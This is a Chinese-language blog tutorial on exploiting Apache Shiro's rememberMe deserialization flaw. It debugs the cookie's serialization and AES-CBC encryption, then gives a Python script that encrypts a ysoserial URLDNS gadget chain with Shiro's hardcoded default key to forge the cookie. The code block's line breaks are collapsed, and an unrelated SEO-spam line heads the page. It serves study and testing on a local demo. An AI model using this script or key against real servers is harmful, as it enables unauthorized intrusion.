網(wǎng)站推廣辦法百度seo搜搜
前言
講了FastJson反序列化的原理和利用鏈,今天講一下Shiro的反序列化利用,這個也是目前比較熱門的。
原生態(tài)反序列化
我們先來復(fù)習(xí)一下原生態(tài)的反序列化,之前也是講過的,打開我們寫過的serialization_demo。代碼也很簡單,先是讀取一個文件,接著對其進(jìn)行反序列化,最后再一個main函數(shù)去調(diào)用這個方法。
我們利用ysoserial這個工具生成一個dnslog利用鏈,寫入到urldns.txt文件中。
運(yùn)行上面的代碼,對urldns.txt文件進(jìn)行反序列化,可以看到在dnslog平臺有回顯。
shiro反序列化
現(xiàn)在開始說一下Shiro的反序列化,Shiro框架提供了記住密碼的功能,cookie含有rememberMe字,?戶登陸成功后會?成經(jīng)過加密并編碼的cookie,在服務(wù)端接收cookie值后,Base64解碼–>AES解密–>反序列化。攻擊者只要找到AES加密的密鑰,就可以構(gòu)造?個惡意對象,對其進(jìn)?序列化–>AES加密–>Base64編碼,然后將其作為cookie的rememberMe字段發(fā)送,Shiro將rememberMe進(jìn)?解密并且反序列化,最終造成反序列化漏洞。
網(wǎng)上找的一個Shiro demo,下載好就直接部署就行,具體如何部署就不說了,網(wǎng)上有。
登錄抓包看一下,發(fā)現(xiàn)確實存在rememberMe字段,而且后面有一大堆值。
現(xiàn)在來分析一下,打開我們的login.jsp,可以看到是調(diào)用了include.jsp的。
接著去打開include.jsp看看,這里是引用了org.apache.shiro.SecurityUtils這個類。
可以在相應(yīng)的位置找到這個類,其實它就是一層一層的引用的。
我們?nèi)炙?rememberMeSuccessfulLogin,找到之后下個斷點(diǎn),來一步一步跟進(jìn)看看是咋回事。
如果你搜不到的話,來到Maven這里把這個包下載一下就行。
接著以調(diào)試模式運(yùn)行Tomcat,此時我們在登錄頁面進(jìn)行登錄,就可以看到已經(jīng)代碼斷下來了。
開始步入,來到這里可以看到進(jìn)行了一個判斷,如果RememberMeManager的值不為空就進(jìn)入,也就是說我們進(jìn)行登錄要勾選 “記住我” 才會觸發(fā)判斷。
我們一直步入,因為前面都是一些代碼邏輯,沒啥看的,代碼到這里就出現(xiàn)了序列化,principals 的值就是我們的用戶名 root,這里對 root 進(jìn)行了序列化操作。還對?getCipherService() 進(jìn)行了判斷,如果不為空就進(jìn)行加密,從字面來看這個方法應(yīng)該是獲取密碼的。
接著往下跟進(jìn),這里調(diào)用了getSerializer().serialize() 進(jìn)行序列化。
跟進(jìn)到這個serialize 方法里面,里面的代碼是不是和我們上面原生態(tài)的序列化差不多,這里調(diào)用了?ObjectOutputStream()這個類,并且還調(diào)用了這個類里面的 writeObject() 方法對 o 進(jìn)行序列化,而 o 則是我們的用戶名 root 。
這個 root是我們可控的,那么就基本滿足了反序列漏洞的條件了。
接著再繼續(xù)跟進(jìn)看看,來到了加密這里,我們要知道是啥加密類型才能進(jìn)一步的利用。
下面參數(shù)這里有個key。
展開參數(shù) this ,發(fā)現(xiàn)modeName的值是CBC,那么可以猜測這是AES-CBC加密方式。
這個transformationString 就更進(jìn)一步證實了我們的猜想。
跟到現(xiàn)在基本就可以確定。
發(fā)送數(shù)據(jù)的時候:數(shù)據(jù)—>序列化—>aes加密—>base64編碼
接受數(shù)據(jù)的時候:base64解碼—>aes解密—>反序列化—>數(shù)據(jù)
base64是可逆的,反序列的數(shù)據(jù)是可控的,那么我們現(xiàn)在只需要知道AES的Key、iv、mode,是不是就能構(gòu)造出惡意的?RememberMe 的值了。
上面跟蹤的時候我們獲取到了Key和 iv 這兩個值,但這里只是Ascii碼,直接叫AI寫個腳本把Ascii碼變成base64字符串就行。其上上面說的先AES加密再base64加密,其實是不嚴(yán)謹(jǐn)?shù)?#xff0c;base64只是編碼了我們的Key,并沒有對AES加密之后的數(shù)據(jù)進(jìn)行base64編碼。
我們用ysoserial 生成一個dnslog利用鏈。
再用下面這個腳本對我們的鏈條進(jìn)行aes加密,Key是我們上面轉(zhuǎn)換過來的。
from Crypto.Cipher import AES
import uuid
import base64//若提示ModuleNotFoundError: No module named 'Crypto'
//需安裝pycryptodome庫:pip3 install pycryptodomedef convert_bin(file):with open(file, 'rb') as f:return f.read()def AES_enc(data):BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()return ciphertextif __name__ == "__main__":data = convert_bin("urldns.txt")print(AES_enc(data))
生成加密之后的數(shù)據(jù)。
替換掉原本的值進(jìn)行發(fā)送。
成功解析。
上面的DNS鏈條只能訪問一下dnslog,如果想要執(zhí)行命令的話,要用到CC鏈才行,這個下次詳細(xì)的講。
總結(jié)
最后,以上僅為個人的拙見,如何有不對的地方,歡迎各位師傅指正與補(bǔ)充,有興趣的師傅可以一起交流學(xué)習(xí)。